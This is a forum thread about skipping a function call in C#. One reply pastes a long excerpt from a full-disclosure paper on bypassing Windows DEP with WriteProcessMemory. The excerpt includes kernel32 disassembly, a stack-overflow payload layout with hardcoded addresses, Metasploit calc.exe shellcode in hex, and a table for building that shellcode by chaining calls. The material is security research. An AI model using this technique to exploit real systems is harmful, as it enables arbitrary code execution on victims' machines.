ItsMods

Full Version: [C#] Function pointer?
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Make in infinite loop in the first function so it will never end, and function 2 will never start Big Grin
(03-18-2012, 10:20)iAegle Wrote: [ -> ]Make in infinite loop in the first function so it will never end, and function 2 will never start Big Grin

function2 gets called from a place I can't edit. If I could edit it I could just've return;'d.
Well, it's quite easy...

Actually, WriteProcessMemory is also used in defeating DEP.

And it's some work to find the offset.

Using WriteProcessMemory() to patch itself removes the requirement of
finding a location in a thread to patch, as the destination address is now
offset from the known address of WriteProcessMemory(). It also removes the
need for a second jmp/call to the patched location, as the natural flow of
execution will walk directly into the patched code. Finally, by carefully
picking the offset into WriteProcessMemory() to patch, it eliminates the
need for the last pointer argument (or NULL), by overwriting the code that
performs the pointer check and then stores the lpNumberBytesWritten.

Finding a suitable location to write code to inside WriteProcessMemory() is
easy. Observe the function code snip below:

WindowsXP kernel32.dll, WriteProcessMemory 0x7C802213+...
...
7C8022BD: lea eax, [ebp + hProcess]
7C8022C0: push eax
7C8022C1: push ebx
7C8022C2: push [ebp + lpBuffer]
7C8022C5: push [ebp + lpBaseAddress]
7C8022C8: push edi
7C8022C9: call NtWriteVirtualMemory
7C8022CF: mov [ebp + lpBuffer], eax
7C8022D2: mov eax, [ebp + lpNumberBytesWritten]
7C8022D5: test eax, eax
7C8022D7: jz short 7C8022DE
...

The last operation that needs to complete in order to successfully patch
the process is the call to NtWriteVirtualMemory() at 0x7C8022C9. The setup
for storing lpNumberBytesWritten starts afterwards, and so 0x7C8022CF is
the ideal destination address to begin overwriting. Immediately after the
write is completed the function flows directly into the freshly written
code. This allows the bypass of permanent DEP in one call.

The arguments to do this look like this:

WriteProcessMemory(-1, 0x7C8022CF, ShellcodeAddr, ShellcodeLen, ..Arbitrary)

The first argument, -1 for hProcess HANDLE, specifies the current process.
The second argument is the offset into WriteProcessMemory() where shellcode
will be written. The third argument, ShellcodeAddr, needs to be the address
of shellcode stored somewhere in memory; this could be code that has been
sprayed onto the heap, or at a location disclosed by the application. The
fourth argument is the length of shellcode to copy. The last argument is no
longer relevant as the code that deals with it is being overwritten by the
copy itself.

For a textbook example stack overflow this payload layout looks like:

[0x7C802213] [AAAA] [0xffffffff] [0x7C8022CF] [&shellcode] [length]
^ ^ ^ ^ ^ ^
' ' ' ' ' '
' ' ' ' ' shellcode length
' ' ' ' '
' ' ' ' shellcode address
' ' ' '
' ' ' dest address in WriteProcessMemory()
' ' '
' ' hProcess HANDLE (-1)
' '
' next return address (irrelevant)
'
WriteProcessMemory() address, overwritten EIP



--------------------=! [ Return Chaining ] !=---------------------

The technique as described is still imperfect: it requires knowing where
shellcode is in memory. Ideally, the location of the WriteProcessMemory()
function (kernel32.dll) should be all that is required to successfully land
arbitrary code execution. Consider a scenario where control of the stack is
gained, but the location of the stack or orther data (other than the address
of WriteProcessMemory) is unknown. By chaining multiple calls together to
copy from offsets of known data, WriteProcessMemory() can be used to build
shellcode dynamically from already existing code.

In order to perform this, the following steps need to be taken:

1. Locate offsets for the op codes and data to compose the shellcode with.

2. Identify a location with enough space to patch, which does not conflict
with any of the locations being copied from.

3. Perform multiple returns to WriteProcessMemory(), patching the location
with shellcode chunks from offsets.

4. Return to newly patched shellcode.

Step 1 of this process allows for some space optimization. Searching for
and finding multibyte sequences of the desired shellcode (rather than just
single bytes) allows for fewer returns to WriteProcessMemory(), and thus
less required space for the chained stack arguments.

Consider generic win32 calc.exe shellcode from Metasploit as an example:

\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18
\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74
\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01
\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24
\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad
\x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a
\x0e\x57\xff\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00

By breaking this shellcode down into every possible unique chunk of 2 bytes
or more, and then searching for it in kernel32.dll, it is easy to find the
pieces to dynamically construct this code. Of course, not all of this code
will be available in multibyte sequences. In turn some of the pieces will
need to be copied in as single bytes. Here is the output from an automated
scan for these sequences, code to build this table is provided later on:

________________________________________________________
|---- Bytes ---------- PE/DLL --- WPM() ---|
|--------------------------------------------------------|
| shellcode[000-001] 0x7c8016d9 --> 0x7c861967 |
| shellcode[001-006] 0x7c81b11c --> 0x7c861968 |
| shellcode[006-010] 0x7c8285e3 --> 0x7c86196d |
| shellcode[010-012] 0x7c801e3c --> 0x7c861971 |
| shellcode[012-014] 0x7c804714 --> 0x7c861973 |
| shellcode[014-015] 0x7c801aa6 --> 0x7c861975 |
| shellcode[015-018] 0x7c87acf4 --> 0x7c861976 |
| shellcode[018-020] 0x7c80a2b1 --> 0x7c861979 |
| shellcode[020-022] 0x7c804664 --> 0x7c86197b |
| shellcode[022-025] 0x7c84266b --> 0x7c86197d |
| shellcode[025-026] 0x7c801737 --> 0x7c861980 |
| shellcode[026-028] 0x7c80473a --> 0x7c861981 |
| shellcode[028-030] 0x7c81315c --> 0x7c861983 |
| shellcode[030-032] 0x7c802b44 --> 0x7c861985 |
| shellcode[032-034] 0x7c81a061 --> 0x7c861987 |
| shellcode[034-037] 0x7c812ae7 --> 0x7c861989 |
| shellcode[037-038] 0x7c801639 --> 0x7c86198c |
| shellcode[038-040] 0x7c841d31 --> 0x7c86198d |
| shellcode[040-042] 0x7c8047a7 --> 0x7c86198f |
| shellcode[042-044] 0x7c8121da --> 0x7c861991 |
| shellcode[044-047] 0x7c80988f --> 0x7c861993 |
| shellcode[047-048] 0x7c8016dc --> 0x7c861996 |
| shellcode[048-051] 0x7c84a0d0 --> 0x7c861997 |
| shellcode[051-052] 0x7c801a8a --> 0x7c86199a |
| shellcode[052-054] 0x7c802e41 --> 0x7c86199b |
| shellcode[054-055] 0x7c8016fb --> 0x7c86199d |
| shellcode[055-059] 0x7c84bb29 --> 0x7c86199e |
| shellcode[059-062] 0x7c80a2b1 --> 0x7c8619a2 |
| shellcode[062-063] 0x7c801677 --> 0x7c8619a5 |
| shellcode[063-065] 0x7c8210f4 --> 0x7c8619a6 |
| shellcode[065-067] 0x7c801e9a --> 0x7c8619a8 |
| shellcode[067-068] 0x7c801677 --> 0x7c8619aa |
| shellcode[068-070] 0x7c821d86 --> 0x7c8619ab |
| shellcode[070-071] 0x7c8019ba --> 0x7c8619ad |
| shellcode[071-072] 0x7c801649 --> 0x7c8619ae |
| shellcode[072-073] 0x7c8016dc --> 0x7c8619af |
| shellcode[073-075] 0x7c832d0b --> 0x7c8619b0 |
| shellcode[075-076] 0x7c8023e4 --> 0x7c8619b2 |
| shellcode[076-078] 0x7c86a706 --> 0x7c8619b3 |
| shellcode[078-080] 0x7c80e11b --> 0x7c8619b5 |
| shellcode[080-083] 0x7c8325a2 --> 0x7c8619b7 |
| shellcode[083-087] 0x7c840db2 --> 0x7c8619ba |
| shellcode[087-089] 0x7c812ff8 --> 0x7c8619be |
| shellcode[089-091] 0x7c82be3c --> 0x7c8619c0 |
| shellcode[091-093] 0x7c802552 --> 0x7c8619c2 |
| shellcode[093-094] 0x7c80168e --> 0x7c8619c4 |
| shellcode[094-097] 0x7c81cd28 --> 0x7c8619c5 |
| shellcode[097-100] 0x7c812cc3 --> 0x7c8619c8 |
| shellcode[100-101] 0x7c80270d --> 0x7c8619cb |
| shellcode[101-102] 0x7c80166b --> 0x7c8619cc |
| shellcode[102-103] 0x7c801b17 --> 0x7c8619cd |
| shellcode[103-105] 0x7c804d40 --> 0x7c8619ce |
| shellcode[105-106] 0x7c802638 --> 0x7c8619d0 |
| shellcode[106-108] 0x7c82c4af --> 0x7c8619d1 |
| shellcode[108-111] 0x7c85f0b6 --> 0x7c8619d3 |
| shellcode[111-112] 0x7c80178f --> 0x7c8619d6 |
| shellcode[112-115] 0x7c804bed --> 0x7c8619d7 |
| shellcode[115-116] 0x7c80232d --> 0x7c8619da |
| shellcode[116-121] 0x7c84eac0 --> 0x7c8619db |
`-------------------------------------------------------

As the scan shows, the shellcode is 121 bytes long, but using multibyte
sequences allows this code to be built by chaining just 59 calls to
WriteProcessMemory().

Step 2 differentiates this from the previous technique of patching
WriteProcessMemory() itself. In order to avoid accidentally overwriting some
useful area, and for overall simplicity, it is best pick the address of a
disposable function or code area from kernel32.dll to overwrite. The example
used in this paper is the GetTempFileNameA() function at 0x7c861967, as this
code area has no overlap with WriteProcessMemory(), nor does it overlap with
any of the shellcode offsets.


Of course I didn't write that, but it helps..

Here is the link to the page, which includes a python script that will do much of
the shell code exploring for you. This is where I used to learn writememoryprocess
and its a good place to start.

http://seclists.org/fulldisclosure/2010/...EP-WPM.txt